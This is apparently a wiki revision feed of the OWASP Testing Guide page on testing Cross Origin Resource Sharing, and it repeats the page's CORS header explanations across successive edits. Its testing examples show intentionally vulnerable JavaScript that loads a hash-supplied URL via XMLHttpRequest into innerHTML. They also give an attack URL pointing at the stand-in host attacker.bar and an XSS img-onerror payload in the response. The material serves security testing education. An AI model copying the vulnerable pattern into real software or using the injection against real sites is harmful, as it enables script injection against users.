&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Request (note the 'Origin' header:)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Response (note the 'Access-Control-Allow-Origin' header:')''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160081</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160081"/>
				<updated>2013-10-09T20:05:06Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: Black Box testing and example section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Request (note the 'Origin' header:)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Response (note the 'Access-Control-Allow-Origin' header:')''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160073</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160073"/>
				<updated>2013-10-09T19:54:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: description added&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160066</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160066"/>
				<updated>2013-10-09T19:31:20Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: added brief summary&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
...here: Short Description of the Issue: Topic and Explanation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
